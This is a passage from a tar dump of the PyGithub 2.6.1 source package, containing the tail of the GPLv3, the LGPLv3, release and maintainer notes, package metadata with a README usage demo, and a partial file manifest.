collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/COPYING.LESSER0000644000175100001660000001674314756101563015030 0ustar00runnerdocker GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library. ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/DEPLOY.md0000644000175100001660000000201614756101563014303 0ustar00runnerdocker## Upload a new version to PyPI Github [PyPi release](.github/workflows/pypi-release.yml) workflow will push tagged commits to PyPI. Here are the steps: 1. Run `scripts/prepare_release.sh` ```bash ./scripts/prepare_release.sh ``` 2. Complete the changes in `doc/changes.rst`: - Replace `Version ?.?.?` with the release version. - Organize commits into sub-sections like "New features" or "Bug Fixes", see earlier releases for inspiration. 3. Commit these changes and create a pull request. 4. After merging those changes into `main` branch, create a new Github [release](https://github.com/PyGithub/PyGithub/releases): - Choose the merge commit in `main`. - Choose a new tag with release version prefixed with `v`, e.g. `v2.2.0`. - Add the same release note from `doc/changes.rst`. Creating the release also creates the tag chosen, which will trigger the PyPi release workflow. 5. Once the PyPi release workflow completes, a new version will appear on [PyPI](https://pypi.org/project/PyGithub/#history) shortly. ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/MAINTAINERS0000644000175100001660000000065214756101563014466 0ustar00runnerdockerAdam Dangoor (@adamtheturtle) Jimmy Zelinskie (@jzelinskie) Nhomar Hernández (@nhomar) Vincent Jacques (@jacquev6) Wan Liuyang (@sfdye) Steve Kowalik (@s-t-e-v-e-n-k) Enrico Minack (@EnricoMi) Jonathan Leitschuh (@JLLeitschuh) ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1740145533.8422425 pygithub-2.6.1/PKG-INFO0000644000175100001660000000746114756101576014077 0ustar00runnerdockerMetadata-Version: 2.2 Name: PyGithub Version: 2.6.1 Summary: Use the full Github API v3 Author-email: Vincent Jacques Project-URL: Documentation, https://pygithub.readthedocs.io/en/stable/ Project-URL: Source, https://github.com/pygithub/pygithub Project-URL: Tracker, https://github.com/pygithub/pygithub/issues Keywords: github Classifier: Development Status :: 5 - Production/Stable Classifier: Environment :: Web Environment Classifier: Intended Audience :: Developers Classifier: License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL) Classifier: Operating System :: OS Independent Classifier: Programming Language :: Python Classifier: Programming Language :: Python :: 3 Classifier: Programming Language :: Python :: 3.8 Classifier: Programming Language :: Python :: 3.9 Classifier: Programming Language :: Python :: 3.10 Classifier: Programming Language :: Python :: 3.11 Classifier: Programming Language :: Python :: 3.12 Classifier: Topic :: Software Development Requires-Python: >=3.8 Description-Content-Type: text/markdown License-File: COPYING License-File: COPYING.LESSER Requires-Dist: pynacl>=1.4.0 Requires-Dist: requests>=2.14.0 Requires-Dist: pyjwt[crypto]>=2.4.0 Requires-Dist: typing-extensions>=4.0.0 Requires-Dist: urllib3>=1.26.0 Requires-Dist: Deprecated Provides-Extra: integrations # PyGitHub [![PyPI](https://img.shields.io/pypi/v/PyGithub.svg)](https://pypi.python.org/pypi/PyGithub) ![CI](https://github.com/PyGithub/PyGithub/workflows/CI/badge.svg) [![readthedocs](https://img.shields.io/badge/docs-stable-brightgreen.svg?style=flat)](https://pygithub.readthedocs.io/en/stable/?badge=stable) [![License](https://img.shields.io/badge/license-LGPL-blue.svg)](https://en.wikipedia.org/wiki/GNU_Lesser_General_Public_License) [![Slack](https://img.shields.io/badge/Slack%20channel-%20%20-blue.svg)](https://join.slack.com/t/pygithub-project/shared_invite/zt-duj89xtx-uKFZtgAg209o6Vweqm8xeQ) [![Open Source Helpers](https://www.codetriage.com/pygithub/pygithub/badges/users.svg)](https://www.codetriage.com/pygithub/pygithub) [![codecov](https://codecov.io/gh/PyGithub/PyGithub/branch/master/graph/badge.svg)](https://codecov.io/gh/PyGithub/PyGithub) [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black) PyGitHub is a Python library to access the [GitHub REST API]. This library enables you to manage [GitHub] resources such as repositories, user profiles, and organizations in your Python applications. [GitHub REST API]: https://docs.github.com/en/rest [GitHub]: https://github.com ## Install ```bash pip install PyGithub ``` ## Simple Demo ```python from github import Github # Authentication is defined via github.Auth from github import Auth # using an access token auth = Auth.Token("access_token") # First create a Github instance: # Public Web Github g = Github(auth=auth) # Github Enterprise with custom hostname g = Github(base_url="https://{hostname}/api/v3", auth=auth) # Then play with your Github objects: for repo in g.get_user().get_repos(): print(repo.name) # To close connections after use g.close() ``` ## Documentation More information can be found on the [PyGitHub documentation site.](https://pygithub.readthedocs.io/en/stable/introduction.html) ## Development ### Contributing Long-term discussion and bug reports are maintained via GitHub Issues. Code review is done via GitHub Pull Requests. For more information read [CONTRIBUTING.md]. [CONTRIBUTING.md]: https://github.com/PyGithub/PyGithub/blob/main/CONTRIBUTING.md ### Maintainership We're actively seeking maintainers that will triage issues and pull requests and cut releases. If you work on a project that leverages PyGitHub and have a vested interest in keeping the code alive and well, send an email to someone in the MAINTAINERS file. ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1740145533.8412423 pygithub-2.6.1/PyGithub.egg-info/0000755000175100001660000000000014756101576016217 5ustar00runnerdocker././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145533.0 pygithub-2.6.1/PyGithub.egg-info/PKG-INFO0000644000175100001660000000746114756101575017323 0ustar00runnerdockerMetadata-Version: 2.2 Name: PyGithub Version: 2.6.1 Summary: Use the full Github API v3 Author-email: Vincent Jacques Project-URL: Documentation, https://pygithub.readthedocs.io/en/stable/ Project-URL: Source, https://github.com/pygithub/pygithub Project-URL: Tracker, https://github.com/pygithub/pygithub/issues Keywords: github Classifier: Development Status :: 5 - Production/Stable Classifier: Environment :: Web Environment Classifier: Intended Audience :: Developers Classifier: License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL) Classifier: Operating System :: OS Independent Classifier: Programming Language :: Python Classifier: Programming Language :: Python :: 3 Classifier: Programming Language :: Python :: 3.8 Classifier: Programming Language :: Python :: 3.9 Classifier: Programming Language :: Python :: 3.10 Classifier: Programming Language :: Python :: 3.11 Classifier: Programming Language :: Python :: 3.12 Classifier: Topic :: Software Development Requires-Python: >=3.8 Description-Content-Type: text/markdown License-File: COPYING License-File: COPYING.LESSER Requires-Dist: pynacl>=1.4.0 Requires-Dist: requests>=2.14.0 Requires-Dist: pyjwt[crypto]>=2.4.0 Requires-Dist: typing-extensions>=4.0.0 Requires-Dist: urllib3>=1.26.0 Requires-Dist: Deprecated Provides-Extra: integrations # PyGitHub [![PyPI](https://img.shields.io/pypi/v/PyGithub.svg)](https://pypi.python.org/pypi/PyGithub) ![CI](https://github.com/PyGithub/PyGithub/workflows/CI/badge.svg) [![readthedocs](https://img.shields.io/badge/docs-stable-brightgreen.svg?style=flat)](https://pygithub.readthedocs.io/en/stable/?badge=stable) [![License](https://img.shields.io/badge/license-LGPL-blue.svg)](https://en.wikipedia.org/wiki/GNU_Lesser_General_Public_License) [![Slack](https://img.shields.io/badge/Slack%20channel-%20%20-blue.svg)](https://join.slack.com/t/pygithub-project/shared_invite/zt-duj89xtx-uKFZtgAg209o6Vweqm8xeQ) [![Open Source Helpers](https://www.codetriage.com/pygithub/pygithub/badges/users.svg)](https://www.codetriage.com/pygithub/pygithub) [![codecov](https://codecov.io/gh/PyGithub/PyGithub/branch/master/graph/badge.svg)](https://codecov.io/gh/PyGithub/PyGithub) [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black) PyGitHub is a Python library to access the [GitHub REST API]. This library enables you to manage [GitHub] resources such as repositories, user profiles, and organizations in your Python applications. [GitHub REST API]: https://docs.github.com/en/rest [GitHub]: https://github.com ## Install ```bash pip install PyGithub ``` ## Simple Demo ```python from github import Github # Authentication is defined via github.Auth from github import Auth # using an access token auth = Auth.Token("access_token") # First create a Github instance: # Public Web Github g = Github(auth=auth) # Github Enterprise with custom hostname g = Github(base_url="https://{hostname}/api/v3", auth=auth) # Then play with your Github objects: for repo in g.get_user().get_repos(): print(repo.name) # To close connections after use g.close() ``` ## Documentation More information can be found on the [PyGitHub documentation site.](https://pygithub.readthedocs.io/en/stable/introduction.html) ## Development ### Contributing Long-term discussion and bug reports are maintained via GitHub Issues. Code review is done via GitHub Pull Requests. For more information read [CONTRIBUTING.md]. [CONTRIBUTING.md]: https://github.com/PyGithub/PyGithub/blob/main/CONTRIBUTING.md ### Maintainership We're actively seeking maintainers that will triage issues and pull requests and cut releases. If you work on a project that leverages PyGitHub and have a vested interest in keeping the code alive and well, send an email to someone in the MAINTAINERS file. ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145533.0 pygithub-2.6.1/PyGithub.egg-info/SOURCES.txt0000644000175100001660000016175214756101575020116 0ustar00runnerdocker.git-blame-ignore-revs .gitignore .pre-commit-config.yaml .readthedocs.yml CONTRIBUTING.md COPYING COPYING.LESSER DEPLOY.md MAINTAINERS README.md codecov.yml pyproject.toml tox.ini .github/FUNDING.yml .github/dependabot.yml .github/release.yml .github/workflows/_build-pkg.yml .github/workflows/ci.yml .github/workflows/lint.yml .github/workflows/pypi-release.yml .github/workflows/test-results.yml .github/workflows/top-issues.yaml PyGithub.egg-info/PKG-INFO PyGithub.egg-info/SOURCES.txt PyGithub.egg-info/dependency_links.txt PyGithub.egg-info/requires.txt PyGithub.egg-info/top_level.txt doc/.gitignore doc/Design.md doc/changes.rst doc/conf.py doc/examples.rst doc/github.rst doc/github_integration.rst doc/index.rst doc/introduction.rst doc/reference.rst doc/utilities.rst doc/examples/Authentication.rst doc/examples/Branch.rst doc/examples/Commit.rst doc/examples/Issue.rst doc/examples/MainClass.rst doc/examples/Milestone.rst doc/examples/PullRequest.rst doc/examples/Repository.rst doc/examples/Webhook.rst doc/github_objects/.gitignore github/AccessToken.py github/AdvisoryBase.py github/AdvisoryCredit.py github/AdvisoryCreditDetailed.py github/AdvisoryVulnerability.py github/AdvisoryVulnerabilityPackage.py github/AppAuthentication.py github/ApplicationOAuth.py github/Artifact.py github/Auth.py github/AuthenticatedUser.py github/Authorization.py github/AuthorizationApplication.py github/Autolink.py github/Branch.py github/BranchProtection.py github/CVSS.py github/CWE.py github/CheckRun.py github/CheckRunAnnotation.py github/CheckRunOutput.py github/CheckSuite.py github/Clones.py github/CodeScanAlert.py github/CodeScanAlertInstance.py github/CodeScanAlertInstanceLocation.py github/CodeScanRule.py github/CodeScanTool.py github/CodeSecurityConfig.py github/CodeSecurityConfigRepository.py github/Commit.py github/CommitCombinedStatus.py github/CommitComment.py github/CommitStats.py github/CommitStatus.py github/Comparison.py github/Consts.py github/ContentFile.py github/Copilot.py github/CopilotSeat.py github/DefaultCodeSecurityConfig.py github/DependabotAlert.py github/DependabotAlertAdvisory.py github/DependabotAlertDependency.py github/DependabotAlertVulnerability.py github/Deployment.py github/DeploymentStatus.py github/DiscussionBase.py github/DiscussionCommentBase.py github/Download.py github/Enterprise.py github/EnterpriseConsumedLicenses.py github/Environment.py github/EnvironmentDeploymentBranchPolicy.py github/EnvironmentProtectionRule.py github/EnvironmentProtectionRuleReviewer.py github/Event.py github/File.py github/Gist.py github/GistComment.py github/GistFile.py github/GistHistoryState.py github/GitAuthor.py github/GitBlob.py github/GitCommit.py github/GitCommitVerification.py github/GitObject.py github/GitRef.py github/GitRelease.py github/GitReleaseAsset.py github/GitTag.py github/GitTree.py github/GitTreeElement.py github/GithubApp.py github/GithubException.py github/GithubIntegration.py github/GithubObject.py github/GithubRetry.py github/GitignoreTemplate.py github/GlobalAdvisory.py github/Hook.py github/HookDelivery.py github/HookDescription.py github/HookResponse.py github/InputFileContent.py github/InputGitAuthor.py github/InputGitTreeElement.py github/Installation.py github/InstallationAuthorization.py github/Invitation.py github/Issue.py github/IssueComment.py github/IssueEvent.py github/IssuePullRequest.py github/Label.py github/License.py github/MainClass.py github/Membership.py github/MergedUpstream.py github/Migration.py github/Milestone.py github/NamedEnterpriseUser.py github/NamedUser.py github/Notification.py github/NotificationSubject.py github/Organization.py github/OrganizationCustomProperty.py github/OrganizationDependabotAlert.py github/OrganizationSecret.py github/OrganizationVariable.py github/PaginatedList.py github/Path.py github/Permissions.py github/Plan.py github/Project.py github/ProjectCard.py github/ProjectColumn.py github/PublicKey.py github/PullRequest.py github/PullRequestComment.py github/PullRequestMergeStatus.py github/PullRequestPart.py github/PullRequestReview.py github/Rate.py github/RateLimit.py github/Reaction.py github/Referrer.py github/RepoCodeSecurityConfig.py github/Repository.py github/RepositoryAdvisory.py github/RepositoryDiscussion.py github/RepositoryDiscussionCategory.py github/RepositoryDiscussionComment.py github/RepositoryKey.py github/RepositoryPreferences.py github/Requester.py github/RequiredPullRequestReviews.py github/RequiredStatusChecks.py github/Secret.py github/SecurityAndAnalysis.py github/SecurityAndAnalysisFeature.py github/SelfHostedActionsRunner.py github/SourceImport.py github/Stargazer.py github/StatsCodeFrequency.py github/StatsCommitActivity.py github/StatsContributor.py github/StatsParticipation.py github/StatsPunchCard.py github/Tag.py github/Team.py github/TeamDiscussion.py github/TimelineEvent.py github/TimelineEventSource.py github/Topic.py github/Traffic.py github/UserKey.py github/Variable.py github/View.py github/Workflow.py github/WorkflowJob.py github/WorkflowRun.py github/WorkflowStep.py github/__init__.py github/py.typed requirements/docs.txt requirements/test.txt requirements/types.txt scripts/add_attribute.py scripts/fix_headers.py scripts/prepare_release.sh tests/ApplicationOAuth.py tests/Artifact.py tests/AuthenticatedUser.py tests/Authentication.py tests/Authorization.py tests/Autolink.py tests/BadAttributes.py tests/Branch.py tests/BranchProtection.py tests/CheckRun.py tests/CheckSuite.py tests/Commit.py tests/CommitCombinedStatus.py tests/CommitComment.py tests/CommitStatus.py tests/ConditionalRequestUpdate.py tests/Connection.py tests/ContentFile.py tests/Copilot.py tests/DependabotAlert.py tests/Deployment.py tests/DeploymentStatus.py tests/Download.py tests/Enterprise.py tests/EnterpriseAdmin.py tests/Environment.py tests/Equality.py tests/Event.py tests/Exceptions.py tests/ExposeAllAttributes.py tests/Framework.py tests/Gist.py tests/GistComment.py tests/GitBlob.py tests/GitCommit.py tests/GitCommitVerification.py tests/GitRef.py tests/GitRelease.py tests/GitReleaseAsset.py tests/GitTag.py tests/GitTree.py tests/GithubApp.py tests/GithubIntegration.py tests/GithubObject.py tests/GithubRetry.py tests/Github_.py tests/GlobalAdvisory.py tests/GraphQl.py tests/Hook.py tests/Installation.py tests/Issue.py tests/Issue131.py tests/Issue133.py tests/Issue134.py tests/Issue139.py tests/Issue140.py tests/Issue142.py tests/Issue174.py tests/Issue2030.py tests/Issue214.py tests/Issue216.py tests/Issue278.py tests/Issue33.py tests/Issue494.py tests/Issue50.py tests/Issue54.py tests/Issue572.py tests/Issue80.py tests/Issue823.py tests/Issue87.py tests/Issue937.py tests/Issue945.py tests/IssueComment.py tests/IssueEvent.py tests/Label.py tests/License.py tests/Logging_.py tests/Markdown.py tests/Membership.py tests/Migration.py tests/Milestone.py tests/NamedUser.py tests/NamedUser1430.py tests/Notification.py tests/Organization.py tests/Organization1437.py tests/Organization2072.py tests/OrganizationHasInMembers.py tests/PaginatedList.py tests/Permissions.py tests/Persistence.py tests/Pickle.py tests/PoolSize.py tests/Project.py tests/Project1434.py tests/ProjectCard.py tests/ProjectColumn.py tests/PublicKey.py tests/PullRequest.py tests/PullRequest1168.py tests/PullRequest1169.py tests/PullRequest1375.py tests/PullRequest1682.py tests/PullRequest1684.py tests/PullRequest2408.py tests/PullRequestComment.py tests/PullRequestFile.py tests/PullRequestReview.py tests/PullRequestReview1856.py tests/RateLimiting.py tests/RawData.py tests/Reaction.py tests/ReleaseAsset.py tests/Repository.py tests/RepositoryAdvisory.py tests/RepositoryDiscussion.py tests/RepositoryKey.py tests/Requester.py tests/RequiredPullRequestReviews.py tests/RequiredStatusChecks.py tests/Retry.py tests/Search.py tests/SecurityAndAnalysis.py tests/SelfHostedActionsRunner.py tests/SourceImport.py tests/Tag.py tests/Team.py tests/Topic.py tests/Traffic.py tests/UserKey.py tests/Workflow.py tests/WorkflowJob.py tests/WorkflowRun.py tests/__init__.py tests/conftest.py tests/ReplayData/ApplicationOAuth.testEnterpriseGetAccessToken.txt tests/ReplayData/ApplicationOAuth.testGetAccessToken.txt tests/ReplayData/ApplicationOAuth.testGetAccessTokenBadCode.txt tests/ReplayData/ApplicationOAuth.testGetAccessTokenUnknownError.txt tests/ReplayData/ApplicationOAuth.testGetAccessTokenWithExpiry.txt tests/ReplayData/ApplicationOAuth.testRefreshAccessToken.txt tests/ReplayData/ApplicationOAuth.testRefreshAccessTokenBadCode.txt tests/ReplayData/ApplicationOAuth.testRefreshAccessTokenUnknownError.txt tests/ReplayData/Artifact.setUp.txt tests/ReplayData/Artifact.testDelete.txt tests/ReplayData/Artifact.testGetArtifactsFromRepo.txt tests/ReplayData/Artifact.testGetArtifactsFromRepoWithName.txt tests/ReplayData/Artifact.testGetArtifactsFromWorkflow.txt tests/ReplayData/Artifact.testGetArtifactsFromWorkflowWithName.txt tests/ReplayData/Artifact.testGetNonexistentArtifact.txt tests/ReplayData/Artifact.testGetSingleArtifactFromRepo.txt tests/ReplayData/AuthenticatedUser.testAcceptInvitation.txt tests/ReplayData/AuthenticatedUser.testAttributes.txt tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithAllArguments.txt tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithClientIdAndSecret.txt tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithoutArguments.txt tests/ReplayData/AuthenticatedUser.testCreateFork.txt tests/ReplayData/AuthenticatedUser.testCreateGist.txt tests/ReplayData/AuthenticatedUser.testCreateGistWithoutDescription.txt tests/ReplayData/AuthenticatedUser.testCreateKey.txt tests/ReplayData/AuthenticatedUser.testCreateMigration.txt tests/ReplayData/AuthenticatedUser.testCreateProject.txt tests/ReplayData/AuthenticatedUser.testCreateRepoFromTemplate.txt tests/ReplayData/AuthenticatedUser.testCreateRepoFromTemplateWithAllArguments.txt tests/ReplayData/AuthenticatedUser.testCreateRepository.txt tests/ReplayData/AuthenticatedUser.testCreateRepositoryWithAllArguments.txt tests/ReplayData/AuthenticatedUser.testCreateRepositoryWithAutoInit.txt tests/ReplayData/AuthenticatedUser.testEditWithAllArguments.txt tests/ReplayData/AuthenticatedUser.testEditWithoutArguments.txt tests/ReplayData/AuthenticatedUser.testEmails.txt tests/ReplayData/AuthenticatedUser.testFollowing.txt tests/ReplayData/AuthenticatedUser.testGetAuthorizations.txt tests/ReplayData/AuthenticatedUser.testGetEvents.txt tests/ReplayData/AuthenticatedUser.testGetGists.txt tests/ReplayData/AuthenticatedUser.testGetInvitations.txt tests/ReplayData/AuthenticatedUser.testGetIssues.txt tests/ReplayData/AuthenticatedUser.testGetIssuesWithAllArguments.txt tests/ReplayData/AuthenticatedUser.testGetKeys.txt tests/ReplayData/AuthenticatedUser.testGetMemberships.txt tests/ReplayData/AuthenticatedUser.testGetMigrations.txt tests/ReplayData/AuthenticatedUser.testGetNotification.txt tests/ReplayData/AuthenticatedUser.testGetNotifications.txt tests/ReplayData/AuthenticatedUser.testGetNotificationsWithOtherArguments.txt tests/ReplayData/AuthenticatedUser.testGetOrganizationEvents.txt tests/ReplayData/AuthenticatedUser.testGetOrgs.txt tests/ReplayData/AuthenticatedUser.testGetRepos.txt tests/ReplayData/AuthenticatedUser.testGetReposWithArguments.txt tests/ReplayData/AuthenticatedUser.testGetStarredGists.txt tests/ReplayData/AuthenticatedUser.testGetTeams.txt tests/ReplayData/AuthenticatedUser.testGetUserIssues.txt tests/ReplayData/AuthenticatedUser.testGetUserIssuesWithAllArguments.txt tests/ReplayData/AuthenticatedUser.testInstallations.txt tests/ReplayData/AuthenticatedUser.testMarkNotificationsAsRead.txt tests/ReplayData/AuthenticatedUser.testStarring.txt tests/ReplayData/AuthenticatedUser.testSubscriptions.txt tests/ReplayData/AuthenticatedUser.testWatching.txt tests/ReplayData/Authentication.testAppAuthAuthentication.txt tests/ReplayData/Authentication.testAppAuthTokenAuthentication.txt tests/ReplayData/Authentication.testAppAuthentication.txt tests/ReplayData/Authentication.testAppInstallationAuthAuthentication.txt tests/ReplayData/Authentication.testAppUserAuthentication.txt tests/ReplayData/Authentication.testAuthorizationHeaderWithLogin.txt tests/ReplayData/Authentication.testAuthorizationHeaderWithToken.txt tests/ReplayData/Authentication.testBasicAuthentication.txt tests/ReplayData/Authentication.testJWTAuthentication.txt tests/ReplayData/Authentication.testLoginAuthentication.txt tests/ReplayData/Authentication.testNoAuthentication.txt tests/ReplayData/Authentication.testOAuthAuthentication.txt tests/ReplayData/Authentication.testTokenAuthentication.txt tests/ReplayData/Authentication.testUserAgent.txt tests/ReplayData/Authorization.setUp.txt tests/ReplayData/Authorization.testDelete.txt tests/ReplayData/Authorization.testEdit.txt tests/ReplayData/Autolink.setUp.txt tests/ReplayData/BadAttributes.testBadAttributeInClassAttribute.txt tests/ReplayData/BadAttributes.testBadAttributeTransformation.txt tests/ReplayData/BadAttributes.testBadSimpleAttribute.txt tests/ReplayData/BadAttributes.testBadSimpleAttributeInList.txt tests/ReplayData/BadAttributes.testBadTransformedAttribute.txt tests/ReplayData/BadAttributes.testBadTransformedAttributeInDict.txt 